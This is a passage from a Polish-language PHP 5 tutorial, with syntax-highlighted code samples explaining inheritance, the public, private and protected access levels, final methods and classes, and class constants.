<span class="co1">// w przykladzie pominieto typy hermetyzacji metod z racji tego, ze zostana one omowione w nastepnym dziale - przyjmijmy domyślnie więc, że są one publiczne, dostępne z każdego miejsca skryptu po utworzeniu instancji</span></p>
<p><span class="kw2">class</span> klasaDziedziczona <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaA<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'wywolano -&gt; klasaDziedziczona::metodaA'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaX<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'wywolano -&gt; klasaDziedziczona::metodaX'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">class</span> klasaDziedziczaca <span class="kw2">extends</span> klasaDziedziczona <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaA<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'wywolano -&gt; klasaDziedziczaca::metodaA'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaB<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> parent::<span class="me2">metodaA</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="re0">$instancja</span>&nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> klasaDziedziczaca<span class="br0">&#40;</span><span class="br0">&#41;</span>;</p>
<p><span class="re0">$instancja</span>-<span class="sy0">&gt;</span><span class="me1">metodaA</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczaca::metodaA</span><br />
<span class="re0">$instancja</span>-<span class="sy0">&gt;</span><span class="me1">metodaB</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczona::metodaA</span><br />
<span class="re0">$instancja</span>-<span class="sy0">&gt;</span><span class="me1">metodaX</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczona::metodaX</span><br />
<span class="kw2">?&gt;</span></div>
<p>Jak widać na ostatnim użyciu metody bez problemu można korzystać z nieprzedefiniowanych danych klasy bazowej. Należy także wiedzieć, że metody magiczne (o których będzie poniżej) takie jak <strong>__construct</strong> wyszukiwane są od najniższej klasy dziedziczącej, aż do napotkania pierwszej metody danego typu. Przykładowa, wymieniona przed chwilą metoda konstrukcji wykonywana jest w klasie bazowej jedynie, jeżeli nie znajduje się w żadnej z potomnych jej klas. Można je podpiąć więc pod zasadę nadpisywania, inaczej przedefiniowania. Więcej o tym będzie poniżej.</p>
<h2>Na deser zasady działania metod i właściwości...</h2>
<p>Na początek wypadałoby poruszyć temat wspomnianego kapsułkowania lub bardziej z angielskiego - <strong>enkapsulacji</strong>. Polega ona na pewnym ukryciu danych w postaci zmiennych klasy, bądź jej funkcji w taki sposób, aby były one widoczne tylko i wyłącznie w funkcjach zaprzyjaźnionych, klasach dziedziczących lub metodach tej samej klasy (występuje wtedy tzw. <strong>pełna hermetyzacja</strong>). Z poniższych czterech typów pierwsze trzy mogą, lecz nie muszą łączyć się z czwartą w pary (tworząc np. metody chronione-finalne).</p>
<p style="text-align: center;"><img src="http://pliki.vivee.info/php5/1.png" alt="Zobrazowanie kapsułkowania" /></p>
<p>Gdybyśmy mieli umieścić pustą, przykładową metodę wewnątrz w.w. klasy to wyglądałaby ona np. tak:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw2">class</span> mojaKlasa <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> wyswietlWartosc<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="co1">// metoda publiczna dostępna z każdego miejsca</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw2">?&gt;</span></div>
<p>Jak można zauważyć tworzenie metod wygląda praktycznie jak tworzenie zwykłych funkcji (wraz z możliwością sparametryzowania metod), z tymże przed <em>function</em> dodajemy typ metody. Do metod wewnątrz klasy lub z klas potomnych odnosimy się z specjalnej właściwości wskazującej zawsze na obiekt nazwanej <strong>$this</strong>.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw2">class</span> resultClass <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> publicFunction<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> <span class="co1">// metoda publiczna</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Parametr: '</span> . <span class="re0">$data</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> privateFunction<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> <span class="co1">// metoda prywatna dostępna tylko z tej klasy</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Parametr: '</span> . <span class="re0">$data</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; protected <span class="kw2">function</span> protectedFunction<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> <span class="co1">// metoda chroniona dostępna z tej klasy i klas dziedziczących</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Parametr: '</span> . <span class="re0">$data</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; final <span class="kw2">public</span> <span class="kw2">function</span> finalFunction<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> <span class="co1">// publiczna metoda finalna (może być też protected) niemogąca być przedefiniowana w klasach potomnych</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Parametr: '</span> . <span class="re0">$data</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> tryFromInternalPartOfClass<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> <span class="co1">// klasa publiczna obrazująca wywołanie różnych typów metod z innej metody tej klasy</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">publicFunction</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span>; <span class="co1">// zadziała</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">privateFunction</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span>; <span class="co1">// zadziała</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">protectedFunction</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span>; <span class="co1">// zadziała</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">finalFunction</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span>; <span class="co1">// zadziała</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">class</span> callClass <span class="kw2">extends</span> resultClass <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// utworzone w celu sprawdzenia wyniku odwolania sie do metod roznego typu w klasie bazowej</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> callPrivateFunction<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">privateFunction</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> callPublicFunction<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">publicFunction</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> callProtectedFunction<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">protectedFunction</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> finalFunction<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> <span class="co1">// proba przedefiniowania metody finalnej klasy bazowej</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">finalFunction</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="re0">$tekst</span>&nbsp; = <span class="st0">'argv'</span>; <span class="co1">// tekst do wypisania</span></p>
<p><span class="re0">$obj</span>&nbsp; &nbsp; = <span class="kw2">new</span> callClass<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// obiekt klasy potomnej</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">callPrivateFunction</span><span class="br0">&#40;</span><span class="re0">$tekst</span><span class="br0">&#41;</span>; <span class="co1">// zwroci blad, albo zatrzyma skrypt z powodu proby wywolania metody prywatnej z klasy dziedziczonej</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">callPublicFunction</span><span class="br0">&#40;</span><span class="re0">$tekst</span><span class="br0">&#41;</span>; <span class="co1">// zwroci Parametr: argv</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">callProtectedFunction</span><span class="br0">&#40;</span><span class="re0">$tekst</span><span class="br0">&#41;</span>; <span class="co1">// zwroci Parametr: argv</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">finalFunction</span><span class="br0">&#40;</span><span class="re0">$tekst</span><span class="br0">&#41;</span>; <span class="co1">// zwroci blad, albo zatrzyma dzialanie skryptu z powodu proby nadpisania metody finalnej z klasy bazowej</span><br />
<a href="http://www.php.net/unset"><span class="kw3">unset</span></a><span class="br0">&#40;</span><span class="re0">$obj</span><span class="br0">&#41;</span>;</p>
<p><span class="re0">$obj</span> &nbsp; &nbsp;= <span class="kw2">new</span> resultClass<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// obiekt wczesniejszej klasy bazowej</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">publicFunction</span><span class="br0">&#40;</span><span class="re0">$tekst</span><span class="br0">&#41;</span>; <span class="co1">// zwroci Parametr: argv</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">finalFunction</span><span class="br0">&#40;</span><span class="re0">$tekst</span><span class="br0">&#41;</span>; <span class="co1">// zwroci Parametr: argv, poniewaz pomimo ze metoda jest finalna to jest takze typu publicznego</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">privateFunction</span><span class="br0">&#40;</span><span class="re0">$tekst</span><span class="br0">&#41;</span>; <span class="co1">// zwroci blad, albo zatrzyma dzialanie skryptu</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">protectedFunction</span><span class="br0">&#40;</span><span class="re0">$tekst</span><span class="br0">&#41;</span>; <span class="co1">// zwroci blad, albo zatrzyma dzialanie skryptu poniewaz z zewnatrz klasy bazowej probujemy wywolac metode chroniona</span></p>
<p><span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">tryFromInternalPartOfClass</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span>; <span class="co1">// odwola sie prawidlowo do kazdej z metod wewnatrz tej wywolywanej</span><br />
<span class="kw2">?&gt;</span></div>
<p>Adekwatnie sprawa miewa się z zmiennymi klasy. Wystarczy przed ich nazwą dodać jeden z pierwszych trzech typów.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw2">class</span> data <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span>; <span class="co1">// własciwosc dostepna publicznie</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$dzien</span>; <span class="co1">// własciwosc dostepna tylko w klasie data</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; protected &nbsp; &nbsp; &nbsp; <span class="re0">$czas</span>; <span class="co1">// własciwosc dostepna w klasie data i czas</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> pokazDate<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">data</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">class</span> czas <span class="kw2">extends</span> data <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> pokazCzas<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">czas</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> pokazDzien<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">dzien</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> ustawCzas<span class="br0">&#40;</span><span class="re0">$czas</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="sy0">!</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">czas</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-<span class="sy0">&gt;</span><span class="me1">czas</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="re0">$czas</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="re0">$obj</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> czas<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// obiekt klasy potomnej</span></p>
<p><span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">data</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="st0">'10.10.2000'</span>; <span class="co1">// zadziala, poniewaz zmienna obiektu klasy jest publiczna</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">czas</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="st0">'10'</span>, <span class="st0">'10'</span>, <span class="st0">'10'</span><span class="br0">&#41;</span>; <span class="co1">// nie zadziala, zostanie wywolany blad lub zatrzymanie skryptu gdyz zmienna jest typu chronionego</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">data</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="st0">'niedziela'</span>; <span class="co1">// nie zadziała, zostanie wywolany blad lub zatrzymanie skryptu gdyz zmienna jest typu prywatnego</span></p>
<p><span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">pokazDate</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zostanie wyswietlona data ustawiona w $obj-&gt;data</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">ustawCzas</span><span class="br0">&#40;</span><a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="st0">'10'</span>, <span class="st0">'10'</span>, <span class="st0">'10'</span><span class="br0">&#41;</span><span class="br0">&#41;</span>; <span class="co1">// ustawi czas w postaci tablicy przekazanej w parametrze ponieważ metoda w klasie dziedziczącej będzie przypisywać tablicę do właściwości chronionej klasy bazowej</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">pokazCzas</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zostanie wyswietlona godzina = 10 (pierwszy element tablicy parametru) o ile zostanie wcześniej wywołana funkcja klasy w postaci $obj-&gt;ustawCzas(param)</span><br />
<span class="re0">$obj</span>-<span class="sy0">&gt;</span><span class="me1">pokazDzien</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// nie zostanie wyswietlone nic, gdyz do właściwości $this-&gt;dzien nie przekazano nic z racji niemożności zrobienia tego z zewnątrz klasy</span><br />
<span class="kw2">?&gt;</span></div>
<p>Warto byłoby dodać, że zerować, bądź po prostu narzucać wartość właściwością można z trzech poziomów. Z miejsca deklaracji, z konstruktora (o którym poniżej), a także z wnętrza uprawnionych do tego metod.</p>
<p>No i na koniec przykład działania wspomnianego przeze mnie użycia <strong>final</strong> z klasą:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
final <span class="kw2">class</span> klasaBazowa <span class="br0">&#123;</span> <span class="co1">// klasa finalna</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> test<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="co1">// uzywanie w takim przypadku final przed typem metody jest niepotrzebne</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'wywolano -&gt; klasaBazowa::test'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">class</span> klasaPotomna <span class="kw2">extends</span> klasaBazowa <span class="br0">&#123;</span><span class="br0">&#125;</span>; <span class="co1">// zakonczy sie bledem krytycznym poniewaz nie mozna dziedziczyc po klasie finalnej</span><br />
<span class="kw2">?&gt;</span></div>
<h2>Lunch z metodami, właściwościami statycznymi i stałymi...</h2>
<p>O definiowaniu stałych w zakresie ogólnym PHP już <a href="http://m1chu.eu/webmastering/jak-zdefiniowac-i-operowac-na-stalych-w-php" title="Operowanie na stałych"><strong>pisałem</strong></a>. Przybliżę jednak samą kwestię ich użycia w klasach, gdyż tam jest to niewystarczająco poruszone.</p>
<p>Stałe klasy tworzymy poprzez użycie zwrotu <strong>const</strong>. Stałe mogą być deklarowane w klasach (w tym w finalnych) i interfejsach. Nie mogą być przedefiniowane. Ich wartość musi być stałym wyrażeniem (np. ciągiem znaków, liczbą, itp.). Nie może być za to wartością zmiennej, czy rezultatem operacji matematycznej. Z reguły dla zachowania dobrych nawyków przyjmuje się, że nazwę stałej zapisuje się drukowanymi znakami.</p>
<div class="php dean_ch" style="white-space: nowrap;">const NAZWA_STALEJ = <span class="st0">'wartosc'</span>;</div>
<p>Do stałej domyślnie w klasie odnosimy się poprzez słowo <strong>self</strong> i operator zasięgu <strong>::</strong>. Pod względem użytkowania sprawa miewa się adekwatnie jak w przypadku opisywanego wyżej <strong>parent::</strong>. Funkcjonalnie <strong>self::</strong> daje dostęp do metod i pól statycznych w danej klasie. Takowym, uogólniając jest stała. W klasach potomnych odniesienie do stałej w klasie bazowej odbywa się tak samo, ale za pomocą wspomnianego już <strong>parent::</strong>.</p>
<p>Z poza klasy mając wersję PHP niższą niż <strong>5.3</strong> możemy operować na tego typu zasobach poprzez operator statyczności lub poprzez wskaźnik obiektu na opcjonalną metodę zwracającą wartość stałej. W wersji w.w. można odwołać się bezpośrednio poprzez obiekt klasy bądź statycznie poprzez przypisaną do zmiennej nazwę klasy.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
final <span class="kw2">class</span> klasaFinalna <span class="br0">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; const FIN = <span class="st0">'final done'</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> pobierzStala<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> self::<span class="me2">FIN</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">class</span> klasaBazowa <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; const PRE = <span class="st0">'normal done'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; const DEF = <span class="st0">'normal done'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> pobierzStalaBazowa<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> self::<span class="me2">DEF</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">class</span> klasaPochodna <span class="kw2">extends</span> klasaBazowa <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; const PRE = <span class="st0">'freakin failed'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> pobierzStalaZKlasyBazowej<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> parent::<span class="me2">DEF</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="re0">$obj</span> &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> klasaPochodna<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="re0">$obj_f</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> klasaFinalna<span class="br0">&#40;</span><span class="br0">&#41;</span>;</p>
